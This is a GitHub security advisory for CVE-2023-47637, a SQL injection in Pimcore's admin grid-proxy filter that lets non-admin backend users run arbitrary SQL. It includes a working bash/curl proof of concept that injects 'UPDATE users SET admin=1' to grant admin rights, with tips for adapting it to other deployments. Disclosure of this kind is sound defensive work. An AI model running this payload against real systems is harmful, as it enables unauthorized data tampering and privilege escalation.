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Pimcore SQL Injection in Admin Grid Filter API through Multiselect::getFilterConditionExt()

High severity GitHub Reviewed Published Nov 15, 2023 in pimcore/pimcore • Updated Nov 15, 2023

Package

composer pimcore/pimcore (Composer)

Affected versions

< 11.1.1

Patched versions

11.1.1

Description

Summary

User input passed directly into an SQL statement allows (non-admin) backend users to execute arbitrary SQL statements.

Details

The /admin/object/grid-proxy endpoint calls getFilterCondition() on fields of classes to be filtered for at https://github.com/pimcore/admin-ui-classic-bundle/blob/bba7c7419cb1f06d5fd98781eab4d6995e4e5dca/src/Helper/GridHelperService.php#L311, passing input from the request, and later executes the returned SQL.
One implementation of getFilterCondition() is in Multiselect, which does not normalize/escape/validate the passed value: https://github.com/pimcore/pimcore/blob/42b6cfa77c4540205bdd10689893ccb73e4bac8f/models/DataObject/ClassDefinition/Data/Multiselect.php#L285-L312

PoC

  • Set up an example project as described on https://pimcore.com/docs/platform/Pimcore/Getting_Started/Installation/Docker_Based_Installation (demo package with example content)
  • Enter the backend and add a new user without admin privileges, but the "Objects" permission enabled.
  • Log out and back in with the new user. Grab the X-pimcore-csrf-token header from any request the backend does, as well as the PHPSESSID cookie.
  • Run the following script, substituting the values accordingly:
    #!/bin/bash
    BASE_URL=http://localhost:8084 # REPLACE THIS!
    CSRF_TOKEN="bd89fd7ceb3b541dd63c200fd4fc8c8ea3cc1a05" # REPLACE THIS!
    COOKIE="PHPSESSID=a0f408f9af7657430a4e6a1608c80277" # REPLACE THIS!
    SQL="UPDATE users SET admin=1"
    
    FILTER_JSON="[{\"property\":\"tags\",\"operator\":\"=\",\"type\":\"list\",\"value\":[\"')); ${SQL}; --\"]}]"
    
    curl "${BASE_URL}/admin/object/grid-proxy?classId=EV&folderId=1119" \
        -X POST \
        -H "X-pimcore-csrf-token: ${CSRF_TOKEN}" \
        -H "Cookie: ${COOKIE}" \
        --data "filter=$FILTER_JSON"
  • Refresh the backend, the user is admin now.

Notes
The above process also works with the initial admin user, but for demonstration purposes it is more interesting to use an unpriveleged one.
Other important variables to adjust in the above script for other deployments are the classId=EV&folderId=1119 parameters, which must reference an existing class and folder, as well as "property":"tags", which points to a Multiselect field in this class.

Impact

Any backend user with very basic permissions can execute arbitrary SQL statements and thus alter any data or escalate their privileges to at least admin level.

Patches

Apply patch manually.

Workarounds

Update to version 11.1.1 or apply this patch manually.

References

@dvesh3 dvesh3 published to pimcore/pimcore Nov 15, 2023
Published to the GitHub Advisory Database Nov 15, 2023
Reviewed Nov 15, 2023
Published by the National Vulnerability Database Nov 15, 2023
Last updated Nov 15, 2023

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

EPSS score

0.071%
(32nd percentile)

Weaknesses

CVE ID

CVE-2023-47637

GHSA ID

GHSA-72hh-xf79-429p

Source code

Credits

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